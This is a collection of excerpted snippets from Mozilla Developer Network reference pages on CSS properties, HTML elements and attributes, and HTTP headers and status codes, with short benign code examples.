... <div> <p>at coordinate (25, 0)</p> <div class="scrollcontainer coordinate25"> <div>1</div> <div>2</div> <div>3</div> </div> </div> <div> <p>at coordinate (50, 0)</p> <div class="scrollcontainer coordinate50"> <div>1</div> <div>2</div> <div>3</div> </div> </div> </div> css #container { display: flex; } #container > div:nth-child(-n+2) { margin-right: 20px; } .scrollcontainer { width: 100px; overflow: auto; white-space: nowrap; scroll-snap-type: mandatory; font-size: 0; } .scrollcontainer > div { width: 100px; height: 100px; display: inline-block; line-height: 100px; text-align: center; font-size: 50px; } .coordinate0 > div { scroll-snap-coordinate: 0 0; } .coordinate25 > div { scroll-sn...
...ap-coordinate: 25px 0; } .coordinate50 > div { scroll-snap-coordinate: 50px 0; } .scrollcontainer > div:nth-child(even) { background-color: #87ea87; } .scrollcontainer > div:nth-child(odd) { background-color: #87ccea; } result specifications not part of any standard.
scrollbar-width - CSS: Cascading Style Sheets
accessibility concerns use this property with caution — setting scrollbar-width to thin or none can make content hard or impossible to scroll if the author does not provide an alternative scrolling mechanism.
... while swiping gestures or mouse wheels can enable scrolling on such content, some devices have no scroll alternative.
...and introduced in wcag 2.1, criterion 2.5.5 (target size) advises that touch targets should be at least 44px in width and height (although the problem is compounded on high-resolution screens; thorough testing is advised).
...dandelion cucumber earthnut pea peanut soko zucchini.</div> result specifications specification status comment css scrollbars level 1the definition of 'scrollbar-width' in that specification.
shape-image-threshold - CSS: Cascading Style Sheets
the shape-image-threshold css property sets the alpha channel threshold used to extract the shape using an image as the value for shape-outside.
...the gradient is established as a css shape using shape-outside, so that pixels within the gradient which are at least 20% opaque (that is, those pixels with an alpha component greater than 0.2) are considered part of the shape.
...dolores consectetur iure atque a mollitia dicta repudiandae illum exercitationem aliquam repellendus ipsum porro modi, id nemo eligendi, architecto ratione quibusdam iusto nisi soluta?
...the same gradient is also used as the image from which the shape is derived for establishing the float area, using the shape-outside property.
tab-size - CSS: Cascading Style Sheets
WebCSStab-size
the tab-size css property is used to customize the width of tab characters (u+0009).
... syntax /* <integer> values */ tab-size: 4; tab-size: 0; /* <length> values */ tab-size: 10px; tab-size: 2em; /* global values */ tab-size: inherit; tab-size: initial; tab-size: unset; values <integer> a multiple of the advance width of the space character (u+0020) to be used as the width of tabs.
... formal definition initial value8applies toblock containersinheritedyescomputed valuethe specified integer or an absolute lengthanimation typea length formal syntax <integer> | <length> examples expanding by character count pre { tab-size: 4; /* set tab size to 4 characters wide */ } collapse tabs pre { tab-size: 0; /* remove indentation */ } comparing to the default size this example compares a default tab size with a custom tab size.
... html <p>no tab</p> <p>&#0009;default tab size of 8 characters wide</p> <p class="custom">&#0009;custom tab size of 3 characters wide</p> <p>&nbsp;&nbsp;&nbsp;3 spaces, equivalent to the custom tab size</p> css p { white-space: pre; } .custom { tab-size: 3; -moz-tab-size: 3; } result specifications specification status comment css text module level 3the definition of 'tab-size' in that specification.
text-combine-upright - CSS: Cascading Style Sheets
the text-combine-upright css property sets the combination of characters into the space of a single character.
... this is used to produce an effect that is known as tate-chū-yoko (縦中横) in japanese, or as 直書橫向 in chinese.
... all attempts to typeset all consecutive characters within the box horizontally, such that they take up the space of a single character within the vertical line of the box.
... attempts to display a sequence of consecutive ascii digits (u+0030–u+0039) that has as many or fewer characters than the specified integer, such that it takes up the space of a single character within the vertical line box.
text-decoration-line - CSS: Cascading Style Sheets
the text-decoration-line css property sets the kind of decoration that is used on text in an element, such as an underline or overline.
... underline each line of text has a decorative line beneath it.
... overline each line of text has a decorative line above it.
... line-through each line of text has a decorative line going through its middle.
text-emphasis - CSS: Cascading Style Sheets
the text-emphasis css property applies emphasis marks to text (except spaces and control characters).
...however, text-emphasis does inherit, which means it is possible to change emphasis marks for descendents.
...authors should not specify more than one character in <string>.
... formal definition initial valueas each of the properties of the shorthand:text-emphasis-style: nonetext-emphasis-color: currentcolorapplies toall elementsinheritednocomputed valueas each of the properties of the shorthand:text-emphasis-style: as specifiedtext-emphasis-color: computed coloranimation typeas each of the properties of the shorthand:text-emphasis-color: a colortext-emphasis-style: discrete formal syntax <'text-emphasis-style'> | <'text-emphasis-color'> examples a heading with emphasis shape and color this example draws a heading with triangles used to emphasize each character.
text-rendering - CSS: Cascading Style Sheets
one very visible effect is optimizelegibility, which enables ligatures (ff, fi, fl, etc.) in text smaller than 20px for some fonts (for example, microsoft's calibri, candara, constantia, and corbel, or the dejavu font family).
...certain aspects of fonts — such as kerning — don't scale linearly.
... in svg, when text is scaled up or down, browsers calculate the final size of the text (which is determined by the specified font size and the applied scale) and request a font of that computed size from the platform's font system.
... candidate recommendation no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'text-rendering' in that specification.
text-underline-offset - CSS: Cascading Style Sheets
while an element can have multiple text-decoration lines, text-underline-offset only impacts underlining, and not other possible line decoration options such as overline or line-through.
... values auto the browser chooses the appropriate offset for underlines.
...a percentage inherits as a relative value, and so therefore scales with changes in the font.
... for a given application of this property, the offset is constant across the whole box that the underline is applied to, even if there are child elements with different font sizes or vertical alignment.
scale() - CSS: Cascading Style Sheets
this scaling transformation is characterized by a two-dimensional vector.
... its coordinates define how much scaling is done in each direction.
... syntax the scale() function is specified with either one or two values, which represent the amount of scaling to be applied in each direction.
...if you need to include such animations on your website, you should provide a control to allow users to turn off animations, preferrably site-wide.
scale3d() - CSS: Cascading Style Sheets
this scaling transformation is characterized by a three-dimensional vector.
... its coordinates define how much scaling is done in each direction.
... syntax the scale3d() function is specified with three values, which represent the amount of scaling to be applied in each direction.
... sx000sy000sz sx0000sy0000sz00001 examples without changing the origin html <div>normal</div> <div class="scaled">scaled</div> css div { width: 80px; height: 80px; background-color: skyblue; } .scaled { transform: perspective(500px) scale3d(2, 0.7, 0.2) translatez(100px); background-color: pink; } result translating the origin of the transformation html <div>normal</div> <div class="scaled">scaled</div> css div { width: 80p...
transform-origin - CSS: Cascading Style Sheets
the transformation origin is the point around which a transformation is applied.
...nsform-origin: left 5px -3px; /* x-offset-keyword | y-offset-keyword | z-offset */ transform-origin: right bottom 2cm; /* y-offset-keyword | x-offset-keyword | z-offset */ transform-origin: bottom right 2cm; /* global values */ transform-origin: inherit; transform-origin: initial; transform-origin: unset; the transform-origin property may be specified using one, two, or three values, where each value represents an offset.
... z-offset is a <length> (and never a <percentage> which would make the statement invalid) describing how far from the user eye the z=0 origin is set.
... the keywords are convenience shorthands and match the following <percentage> values: keyword value left 0% center 50% right 100% top 0% bottom 100% formal definition initial value50% 50% 0applies totransformable elementsinheritednopercentagesrefer to the size of bounding boxcomputed valuefor <length> the absolute value, otherwise a percentageanimation typesimple list of length, percentage, or calc formal syntax [ <length-percentage> | left | center | right | top | bottom ] | [ [ <length-percentage> | left | center | right ] && [ <length-percentage> | top | center | bottom ] ] <length>?where <length-percentage> = <length> | <percentage> examples code sample transform: none; ...
transition-property - CSS: Cascading Style Sheets
the transition-property css property sets the css properties to which a transition effect should be applied.
... note: the set of properties that can be animated is subject to change.
... as such, you should avoid including any properties in the list that don't currently animate, as someday they might, causing unexpected results.
... <custom-ident> a string identifying the property to which a transition effect should be applied when its value changes.
transition - CSS: Cascading Style Sheets
y name | duration */ transition: margin-right 4s; /* property name | duration | delay */ transition: margin-right 4s 1s; /* property name | duration | timing function */ transition: margin-right 4s ease-in-out; /* property name | duration | timing function | delay */ transition: margin-right 4s ease-in-out 1s; /* apply to 2 properties */ transition: margin-right 4s, color 1s; /* apply to all changed properties */ transition: all 0.5s ease-out; /* global values */ transition: inherit; transition: initial; transition: unset; the transition property is specified as one or more single-property transitions, separated by commas.
... each single-property transition describes the transition that should be applied to a single property (or the special values all and none).
... it includes: zero or one value representing the property to which the transition should apply.
... formal definition initial valueas each of the properties of the shorthand:transition-delay: 0stransition-duration: 0stransition-property: alltransition-timing-function: easeapplies toall elements, ::before and ::after pseudo-elementsinheritednocomputed valueas each of the properties of the shorthand:transition-delay: as specifiedtransition-duration: as specifiedtransition-property: as specifiedtransition-timing-function: as specifieda...
writing-mode - CSS: Cascading Style Sheets
the writing-mode css property sets whether lines of text are laid out horizontally or vertically, as well as the direction in which blocks progress.
... this property specifies the block flow direction, which is the direction in which block-level containers are stacked, and the direction in which inline-level content flows within a block container.
... formal definition initial valuehorizontal-tbapplies toall elements except table row groups, table column groups, table rows, and table columnsinheritedyescomputed valueas specifiedanimation typediscrete formal syntax horizontal-tb | vertical-rl | vertical-lr | sideways-rl | sideways-lr examples using multiple writing modes this example demonstrates all of the writing modes, showing each with text in various languages.
... html the html is a <table> with each writing mode in a row with a column showing text in various scripts using that writing mode.
EXSLT
e are a number of modules; those that are supported by firefox are listed below: common (exsl)the exslt common package provides basic functions that expand upon the capabilities of xslt.math (math)the exslt math package provides functions for working with numeric values and comparing nodes.regular expressions (regexp)the exslt regular expressions package provides functions that allow testing, matching, and replacing text using javascript style regular expressions.sets (set)the exslt sets package offers functions that let you perform set manipulation.strings (str)the exslt strings package provides functions that allow the manipulation of strings.
...for example, to use the regular expressions package: <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/xsl/transform" xmlns:regexp="http://exslt.org/regular-expressions"> <xsl:template match="/"> ...
... functions math:highest() math:lowest() math:max() math:min() regular expressions the exslt regular expressions package provides functions that allow testing, matching, and replacing text using javascript style regular expressions.
... functions regexp:match() regexp:replace() regexp:test() sets the exslt sets package offers functions that let you perform set manipulation.
Guide to Web APIs - Developer guides
WebGuideAPI
the web includes a wide array of apis that can be used from javascript to build increasingly more powerful and capable applications, running either on the web, locally, or through technology such as node.js, on a server.
... on this page you'll find a complete list of all of the apis provided by the full web technology stack.
... web apis from a to z aambient light eventsbbackground tasksbattery api beaconbluetooth apibroadcast channel apiccss counter stylescss font loading api cssomcanvas apichannel messaging apiconsole apicredential management apiddomeencoding apiencrypted media extensionsffetch apifile system api frame timing apifullscreen apiggamepad api geolocation apihhtml drag and drop apihigh resolution timehistory apiiimage capture apiindexeddbintersection observer apillong tasks api mmedia capabilities api media capture and streamsmedia session apimedia source extensions mediastream recordingnnavigation timingnetwork information api ppage visibility apipayment request apiperformance apiperformance timeline apipermissions apipointer eventspointer lock apiproximity events push api rresize obse...
...rver apiresource timing apisserver sent eventsservice workers apistoragestorage access apistreams ttouch eventsuurl apivvibration apivisual viewport wweb animationsweb audio apiweb authentication apiweb crypto apiweb notificationsweb storage apiweb workers apiwebglwebrtcwebvttwebxr device apiwebsockets api ...
Orientation and motion data explained - Developer guides
if you want to detect changes in device orientation in order to compensate, you can use the orientationchange event.
... alpha rotation around the z axis -- that is, twisting the device -- causes the alpha rotation angle to change: the alpha angle is 0° when top of the device is pointed directly toward the earth's north pole, and increases as the device is rotated toward the left.
... beta rotation around the x axis -- that is, tipping the device away from or toward the user -- causes the beta rotation angle to change: the beta angle is 0° when the device's top and bottom are the same distance from the earth's surface; it increases toward 180° as the device is tipped forward toward the user, and it decreases toward -180° as the device is tipped backward away from the user.
... gamma rotation around the y axis -- that is, tilting the device toward the left or right -- causes the gamma rotation angle to change: the gamma angle is 0° when the device's left and right sides are the same distance from the surface of the earth, and increases toward 90° as the device is tipped toward the right, and toward -90° as the device is tipped toward the left.
Introduction to Web development - Developer guides
note: the recommended resources on this page are subject to change.
... html elements reference guide — a comprehensive guide to html elements with details on how browsers support them css getting started with css — an absolute beginners guide to css covers basic concepts and fundamentals css reference guide — a complete guide to css with details on the level of gecko/firefox support for each.
... christian heilmann's javascript best practices — learn about some of the obvious and (not so) obvious best practices when writing javascript.
... sitepoint a reliable reference site for learning html, css and javascript which also mentions feature support across different browsers and known browser bugs.
HTML attribute: minlength - HTML: Hypertext Markup Language
the minlength attribute defines the minimum number of characters (as utf-16 code units) the user can enter into an <input> or <textarea>.
...constraint validation is only applied when the value is changed by the user.
... examples by adding minlength="5", the value must either be empty or five characters or longer to be valid.
...the value will be valid as long as it is either null (empty) or five or more characters long.
HTML attribute: step - HTML: Hypertext Markup Language
WebHTMLAttributesstep
the value can must be a positive number - integer or float -- or the special value any, which means no stepping is implied, and any value is allowed (barring other constraints, such as min and max).
...for 4.2 to be valid, step would have had to be set to any, 0.1, 0.2, or any the min value would have had to be a number ending in .2, such as <input type="number" min="-5.2"> min impact on step the value of min and step define what are valid values, even if the step attribute is not included, as step defaults to 0.
...the number spinner, if present, will only show valid float values of 1.2 and greater note: when the data entered by the user doesn't adhere to the stepping configuration, the value is considered invalid in contraint validation and will match the :invalid and :out-of-range pseudoclasses see client-side validation and stepmismatch for more information.
...if providing instructions outside of labels, which allows more flexible positioning and design, consider using aria-labelledby or aria-describedby.
<address>: The Contact Address element - HTML: Hypertext Markup Language
WebHTMLElementaddress
the contact information provided by an <address> element's contents can take whatever form is appropriate for the context, and may include any type of contact information that is needed, such as a physical address, url, email address, phone number, social media handle, geographic coordinates, and so forth.
... the <address> element should include the name of the person, people, or organization to which the contact information refers.
... <address> can be used in a variety of contexts, such as providing a business's contact information in the page header, or indicating the author of an article by including an <address> element within the <article>.
... this element should not contain more information than the contact information, like a publication date (which belongs in a <time> element).
<basefont> - HTML: Hypertext Markup Language
WebHTMLElementbasefont
the obsolete html base font element (<basefont>) sets a default font face, size, and color for the other elements which are descended from its parent element.
... you should not use this element; instead, you should use css properties such as font, font-family, font-size, and color to change the font configuration for an element and its contents.
...starting with html 4, html does not convey styling information anymore (outside the <style> element or the style attribute of each element).
... the former behavior of the <font> element can be achieved, and even better controlled using the css fonts properties.
<blockquote>: The Block Quotation element - HTML: Hypertext Markup Language
usually, this is rendered visually by indentation (see notes for how to change it).
... usage notes to change the indentation applied to the quoted text, use the css margin-left and/or margin-right properties, or the margin shorthand property.
...the connection topology is limited to a single point-to-point path for each carrier, used with standard carriers, but many carriers can be used without significant interference with each other, outside of early spring.
...the carriers have an intrinsic collision avoidance system, which increases availability.</p> </blockquote> the output from this html snippet looks like this: specifications specification status comment html living standardthe definition of '<blockquote>' in that specification.
<br>: The Line Break element - HTML: Hypertext Markup Language
WebHTMLElementbr
as you can see from the above example, a <br> element is included at each point where we want the text to break.
...as such, it has no dimensions or visual output of its own, and there is very little you can do to style it.
...evelyn avenue<br> mountain view, ca<br> 94041<br> usa<br> the result looks like so: accessibility concerns creating separate paragraphs of text using <br> is not only bad practice, it is problematic for people who navigate with the aid of screen reading technology.
... technical summary content categories flow content, phrasing content.
<dialog>: The Dialog element - HTML: Hypertext Markup Language
WebHTMLElementdialog
the html <dialog> element represents a dialog box or other interactive component, such as a dismissable alert, inspector, or subwindow.
...when such a form is submitted, the dialog closes with its returnvalue property set to the value of the button that was used to submit the form.
...for example, to dim unreachable content behind the modal dialog.
...ment.getelementbyid('confirmbtn'); // "update details" button opens the <dialog> modally updatebutton.addeventlistener('click', function onopen() { if (typeof favdialog.showmodal === "function") { favdialog.showmodal(); } else { alert("the <dialog> api is not supported by this browser"); } }); // "favorite animal" input sets the value of the submit button selectel.addeventlistener('change', function onselect(e) { confirmbtn.value = selectel.value; }); // "confirm" button of form triggers "close" on dialog because of [method="dialog"] favdialog.addeventlistener('close', function onclose() { outputbox.value = favdialog.returnvalue + " button clicked - " + (new date()).tostring(); }); result specifications specification status comment html liv...
<div>: The Content Division element - HTML: Hypertext Markup Language
WebHTMLElementdiv
instead, you should use css properties or techniques such as css grid or css flexbox to align and position <div> elements on the page.
... usage notes the <div> element should be used only when no other semantic element (such as <article> or <nav>) is appropriate.
...such as &lt;p&gt;, &lt;table&gt;.
... living standard no changes since the latest snapshot html5the definition of '<div>' in that specification.
<element>: The Custom Element element (Obsolete) - HTML: Hypertext Markup Language
WebHTMLElementelement
it was removed in favor of a javascript-driven approach for creating new custom elements.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetelement deprecatednon-standardchrome ?
... chrome android ?
<fieldset>: The Field Set element - HTML: Hypertext Markup Language
WebHTMLElementfieldset
it takes few attributes, the most notable of which are form, which can contain the id of a <form> on the same page, allowing you to make the <fieldset> part of that <form> even if it is not nested inside it, and disabled, which allows you to disable the <fieldset> and all its contents in one go.
...by default browsers display such controls grayed out.
...(for example, display: inline behaves as block.) there will be an anonymous box holding the contents of the <fieldset>, which inherits certain properties from the <fieldset>.
... <form action="#"> <fieldset disabled> <legend>disabled fieldset</legend> <div> <label for="name">name: </label> <input type="text" id="name" value="chris"> </div> <div> <label for="pwd">archetype: </label> <input type="password" id="pwd" value="wookie"> </div> </fieldset> </form> technical summary content categories flow content, sectioning root, listed, form-associated element, palpable content.
<figure>: The Figure with Optional Caption element - HTML: Hypertext Markup Language
WebHTMLElementfigure
the html <figure> (figure with optional caption) element represents self-contained content, potentially with an optional caption, which is specified using the (<figcaption>) element.
... a caption can be associated with the <figure> element by inserting a <figcaption> inside it (as the first or the last child).
... navigator.useragent + "; "; console.log("navigatorexample", txt); } </pre> </figure> quotations <figure> <figcaption><cite>edsger dijkstra:</cite></figcaption> <blockquote>if debugging is the process of removing software bugs, then programming must be the process of putting them in.</blockquote> </figure> poems <figure> <p style="white-space:pre"> bid me discourse, i will enchant thine ear, or like a fairy trip upon the green, or, like a nymph, with long dishevell'd hair, dance on the sands, and yet no footing seen: love is a spirit all compact of fire, not gross to sink, but light, and will aspire.</p> <figcaption><cite>venus and adonis</cite>, by william shakespeare</figcaption> </figure> specifications specification status comment ...
... recommendation no changes from html 5.0.
<ins> - HTML: Hypertext Markup Language
WebHTMLElementins
cite this attribute defines the uri of a resource that explains the change, such as a link to meeting minutes or a ticket in a troubleshooting system.
... datetime this attribute indicates the time and date of the change and must be a valid date with an optional time string.
... examples <ins>this text has been inserted</ins> result accessibility concerns the presence of the <ins> element is not announced by most screen reading technology in its default configuration.
...because of this, it is important to not abuse this technique and only apply it in situations where not knowing content has been inserted would adversely affect understanding.
<option>: The HTML Option element - HTML: Hypertext Markup Language
WebHTMLElementoption
as such, <option> can represent menu items in popups and other lists of items in an html document.
... permitted content text, possibly with escaped characters (like &eacute;).
... disabled if this boolean attribute is set, this option is not checkable.
... often browsers grey out such control and it won't receive any browsing event, like mouse clicks or focus-related ones.
<output>: The Output element - HTML: Hypertext Markup Language
WebHTMLElementoutput
the html output element (<output>) is a container element into which a site or app can inject the results of a calculation or the outcome of a user action.
... examples in the following example, the form provides a slider whose value can range between 0 and 100, and an <input> element into which you can enter a second number.
... the two numbers are added together, and the result is displayed in the <output> element each time the value of any of the controls changes.
...assistive technology will thereby announce the results of ui interactions posted inside it without requiring that focus is switched away from the controls that produce those results.
<progress>: The Progress Indicator element - HTML: Hypertext Markup Language
WebHTMLElementprogress
max this attribute describes how much work the task indicated by the progress element requires.
... value this attribute specifies how much of the task that has been completed.
... note: the :indeterminate pseudo-class can be used to match against indeterminate progress bars.
... to change the progress bar to indeterminate after giving it a value you must remove the value attribute with element.removeattribute('value').
<spacer> - HTML: Hypertext Markup Language
WebHTMLElementspacer
<spacer> is an obsolete html element which allowed insertion of empty spaces on pages.
... it was devised by netscape to accomplish the same effect as a single-pixel layout image, which was something web designers used to use to add white spaces to web pages without actually using an image.
... however, <spacer> no longer supported by any major browser and the same effects can now be achieved using simple css.
... firefox, which is the descendant of netscape's browsers, removed support for <spacer> in version 4.
contextmenu - HTML: Hypertext Markup Language
a context menu is a menu that appears upon user interaction, such as a right-click.
... </li> <li contextmenu="changefont" id="fontsizing"> on this specific list element, you can change the size of the text by using the "increase/decrease font" actions from your context menu </li> <menu type="context" id="changefont"> <menuitem label="increase font" onclick="incfont()"></menuitem> <menuitem label="decrease font" onclick="decfont()"></menuitem> </menu> <li contextmenu="...
...changeimage" id="changeimage"> on the image below, you can fire the "change image" action in your context menu.<br /> <img src="https://udn.realityripple.com/samples/a2/b601bdfc0c.png" contextmenu="changeimage" id="promobutton" /> <menu type="context" id="changeimage"> <menuitem label="change image" onclick="changeimage()"></menuitem> </menu> </li> </ol> </body> javascript function shareviatwitter() { window.open("https://twitter.com/intent/tweet?text=" + "hurray!
...xtmenu from mdn via mozilla"); } function shareviafacebook() { window.open("https://facebook.com/sharer/sharer.php?u=" + "https://developer.mozilla.org/en/html/element/using_html_context_menus"); } function incfont() { document.getelementbyid("fontsizing").style.fontsize = "larger"; } function decfont() { document.getelementbyid("fontsizing").style.fontsize = "smaller"; } function changeimage() { var index = math.ceil(math.random() * 39 + 1); document.images[0].src = "https://developer.mozilla.org/media/img/promote/promobutton_mdn" + index + ".png"; } result specifications specification status comment html 5.1the definition of 'contextmenu' in that specification.
data-* - HTML: Hypertext Markup Language
the data-* global attributes form a class of attributes called custom data attributes, that allow proprietary information to be exchanged between the html and its dom representation by scripts.
... all such custom data are available via the htmlelement interface of the element the attribute is set on.
... living standard no change from latest snapshot, html 5.1 html 5.1the definition of 'data-*' in that specification.
... recommendation snapshot of html living standard, no change from html5 html5the definition of 'data-*' in that specification.
hidden - HTML: Hypertext Markup Language
hidden elements shouldn't be linked from non-hidden elements, and elements that are descendants of a hidden element are still active, which means that script elements can still execute and form elements can still submit.
...while hiding the descriptions implies that they are not useful on their own, they could be written in such a way that they are useful in the specific context of being referenced from the element that they describe.
... note: changing the value of the css display property on an element with the hidden attribute overrides the behavior.
... living standard no change from latest snapshot, html 5.1 html living standardthe definition of 'hidden elements' in that specification.
inputmode - HTML: Hypertext Markup Language
search a virtual keyboard optimized for search input.
... for instance, the return/submit key may be labeled "search", along with possible other optimizations.
... inputs that require a search query should typically use <input type="search"> instead.
...typically includes the @ character as well as other optimizations.
Accept - HTTP
WebHTTPHeadersAccept
the accept request http header advertises which content types, expressed as mime types, the client is able to understand.
... using content negotiation, the server then selects one of the proposals, uses it and informs the client of its choice with the content-type response header.
... browsers set adequate values for this header depending on the context where the request is done: when fetching a css stylesheet a different value is set for the request than when fetching an image, video or a script.
...image/* will match image/png, image/svg, image/gif and any other image types.
Access-Control-Allow-Headers - HTTP
the access-control-allow-headers response header is used in response to a preflight request which includes the access-control-request-headers to indicate which http headers can be used during the actual request.
... the preflight request is an options request which includes some combination of the three preflight request headers: access-control-request-method, access-control-request-headers, and origin, such as: options /resource/foo access-control-request-method: delete access-control-request-headers: origin, x-requested-with origin: https://foo.bar.org response if the server allows cors requests to use the delete method, it responds with an access-cont...
...rol-allow-methods response header, which lists delete along with the other methods it supports: http/1.1 200 ok content-length: 0 connection: keep-alive access-control-allow-origin: https://foo.bar.org access-control-allow-methods: post, get, options, delete access-control-max-age: 86400 if the requested method isn't supported, the server will respond with an error.
... specifications specification status comment fetchthe definition of 'access-control-allow-headers' in that specification.
Age - HTTP
WebHTTPHeadersAge
the age header contains the time in seconds the object has been in a proxy cache.
...if it is age: 0, it was probably just fetched from the origin server; otherwise it is usually calculated as a difference between the proxy's current date and the date general header included in the http response.
... header type response header forbidden header name no syntax age: <delta-seconds> directives <delta-seconds> a non-negative integer, representing time in seconds the object has been in a proxy cache.
... examples age: 24 specifications specification title rfc 7234, section 5.1: age hypertext transfer protocol (http/1.1): caching ...
Content-Language - HTTP
if you want to indicate which language the document is written in, use the lang attribute instead).
...each language tag is a sequence of one or more case-insensitive subtags, each separated by a hyphen character ("-", %x2d).
... in most cases, a language tag consists of a primary language subtag that identifies a broad family of related languages (e.g., "en" = english), which is optionally followed by a series of subtags that refine or narrow that language's range (e.g., "en-ca" = the variety of english as communicated in canada).
... note: language tags are formaly defined in rfc 5646, which rely on the iso 639 standard (quite often the iso 639-1 code list) for language codes to be used.
CSP: plugin-types - HTTP
the http content-security-policy (csp) plugin-types directive restricts the set of plugins that can be embedded into a document by limiting the types of resources which can be loaded.
... instantiation of an <embed>, <object> or <applet> element will fail if: the element to load does not declare a valid mime type, the declared type does not match one of specified types in the plugin-types directive, the fetched resource does not match the declared type.
... examples disallowing plugins to disallow all plugins, the object-src directive should be set to 'none' which will disallow plugins.
... working draft no changes.
Content-Type - HTTP
in requests, (such as post or put), the client tells the server what type of data is actually sent.
... syntax content-type: text/html; charset=utf-8 content-type: multipart/form-data; boundary=something directives media-type the mime type of the resource or the data.
... charset the character encoding standard.
... boundary for multipart entities the boundary directive is required, which consists of 1 to 70 characters from a set of characters known to be very robust through email gateways, and not ending with white space.
Cross-Origin-Opener-Policy - HTTP
this allows you to have more control over references to a window than rel=noopener, which only affects outgoing navigations.
... same-origin-allow-popups retains references to newly opened windows or tabs which either don't set coop or which opt out of isolation by setting a coop of unsafe-none.
... cross-origin-opener-policy: same-origin cross-origin-embedder-policy: require-corp see also the cross-origin-embedder-policy header which you'll need to set as well.
... to check if cross-origin isolation has been successful, you can test against the crossoriginisolated property available to window and worker contexts: if (crossoriginisolated) { // post sharedarraybuffer } else { // do something else } specifications specification html living standardthe definition of 'cross-origin-opener-policy header' in that specification.
DPR - HTTP
WebHTTPHeadersDPR
the dpr header is a client hints headers which represents the client device pixel ratio (dpr), which is the the number of physical device pixels corresponding to every css pixel.
...server has to opt in to receive dpr header from the client by sending accept-ch and accept-ch-lifetime response headers.
... syntax dpr: <number> examples server first needs to opt in to receive dpr header by sending the response headers accept-ch containing dpr and accept-ch-lifetime.
... accept-ch: dpr accept-ch-lifetime: 86400 then on subsequent requests the client might send dpr header back: dpr: 1.0 ...
Device-Memory - HTTP
the device-memory header is a device memory api header that works like client hints header which represents the approximate amount of ram client device has.
...server has to opt in to receive device-memory header from the client by sending accept-ch and accept-ch-lifetime response headers.
... device-memory: <number> examples server first needs to opt in to receive device-memory header by sending the response headers accept-ch containing device-memory and accept-ch-lifetime.
... accept-ch: device-memory accept-ch-lifetime: 86400 then on subsequent requests the client might send device-memory header back: device-memory: 1 specifications specification status comment device memory 1the definition of 'device-memory' in that specification.
Feature-Policy: geolocation - HTTP
when this policy is enabled, calls to getcurrentposition() and watchposition() will cause those functions' callbacks to be invoked with a positionerror code of permission_denied.
... by default, the geolocation api can be used within top-level documents and their same-origin child frames.
... features are each defined to have a default allowlist, which is one of: *: the feature is allowed by default in top-level browsing contexts and all nested browsing contexts (iframes).
...wants to disable geolocation for all cross-origin child frames, except for a specific <iframe>.
Forwarded - HTTP
this header is used for debugging, statistics, and generating location-dependent content and by design it exposes privacy sensitive information, such as the ip address of the client.
...this can be either: an ip address (v4 or v6, optionally with a port, and ipv6 quoted and enclosed in square brackets), an obfuscated identifier (such as "_hidden" or "_secret"), or "unknown" when the preceding entity is not known (and you still want to indicate that forwarding of the request was made).
... for=<identifier> the client that initiated the request and subsequent proxies in a chain of proxies.
... proto=<http|https> indicates which protocol was used to make the request (typically "http" or "https").
Keep-Alive - HTTP
connection-specific header fields such as connection and keep-alive are prohibited in http/2.
... chrome and firefox ignore them in http/2 responses, but safari conforms to the http/2 spec requirements and won’t load any response which contains them.
... header type general header forbidden header name yes syntax keep-alive: parameters directives parameters a comma-separated list of parameters, each consisting of an identifier and a value separated by the equal sign ('=').
... examples a response containing a keep-alive header: http/1.1 200 ok connection: keep-alive content-encoding: gzip content-type: text/html; charset=utf-8 date: thu, 11 aug 2016 15:23:13 gmt keep-alive: timeout=5, max=1000 last-modified: mon, 25 jul 2016 04:32:39 gmt server: apache (body) specifications specification title http keep-alive header keep-alive header (ietf internet draft) rfc 7230, appendix a.1.2: keep-alive hypertext transfer protocol (http/1.1): message syntax and routing ...
Retry-After - HTTP
when sent with a redirect response, such as 301 (moved permanently), this indicates the minimum time that the user agent is asked to wait before issuing the redirected request.
... header type response header forbidden header name no syntax retry-after: <http-date> retry-after: <delay-seconds> directives <http-date> a date after which to retry.
... examples dealing with scheduled downtime support for the retry-after header on both clients and servers is still inconsistent.
...it is useful to send it along with a 503 (service unavailable) response, so that search engines will keep indexing your site when the downtime is over.
X-XSS-Protection - HTTP
the http x-xss-protection response header is a feature of internet explorer, chrome and safari that stops pages from loading when they detect reflected cross-site scripting (xss) attacks.
... chrome has removed their xss auditor firefox have not, and will not implement x-xss-protection edge have retired their xss filter this means that if you do not need to support legacy browsers, it is recommended that you use content-security-policy without allowing unsafe-inline scripts instead.
... 1; report=<reporting-uri> (chromium only) enables xss filtering.
... example block pages from loading when they detect reflected xss attacks: x-xss-protection: 1; mode=block php header("x-xss-protection: 1; mode=block"); apache (.htaccess) <ifmodule mod_headers.c> header set x-xss-protection "1; mode=block" </ifmodule> nginx add_header "x-xss-protection" "1; mode=block"; specifications not part of any specifications or drafts.
HEAD - HTTP
WebHTTPMethodsHEAD
for example, if a url might produce a large download, a head request could read its content-length header to check the filesize without actually downloading the file.
...if it has one anyway, that body must be ignored: any entity headers that might describe the erroneous body are instead assumed to describe the response which a similar get request would have received.
... if the response to a head request shows that a cached url response is now outdated, the cached copy is invalidated even if no get request was made.
... request has body no successful response has body no safe yes idempotent yes cacheable yes allowed in html forms no syntax head /index.html specifications specification title rfc 7231, section 4.3.2: head hypertext transfer protocol (http/1.1): semantics and content ...
204 No Content - HTTP
WebHTTPStatus204
a 204 response is cacheable by default.
... an etag header is included in such a response.
... the common use case is to return 204 as a result of a put request, updating a resource, without changing the current content of the page displayed to the user.
...if the page should be changed to the newly updated page, the 200 should be used instead.
302 Found - HTTP
WebHTTPStatus302
a browser redirects to this page but search engines don't update their links to the resource (in 'seo-speak', it is said that the 'link-juice' is not sent to the new url).
...it is therefore recommended to set the 302 code only as a response for get or head methods and to use 307 temporary redirect instead, as the method change is explicitly prohibited in that case.
... in the cases where you want the method used to be changed to get, use 303 see other instead.
... this is useful when you want to give a response to a put method that is not the uploaded resource but a confirmation message such as: 'you successfully uploaded xyz'.
304 Not Modified - HTTP
WebHTTPStatus304
it is an implicit redirection to a cached resource.
... this happens when the request method is safe, like a get or a head request, or when the request is conditional and uses a if-none-match or a if-modified-since header.
... the equivalent 200 ok response would have included the headers cache-control, content-location, date, etag, expires, and vary.
... many developer tools' network panels of browsers create extraneous requests leading to 304 responses, so that access to the local cache is visible to developers.
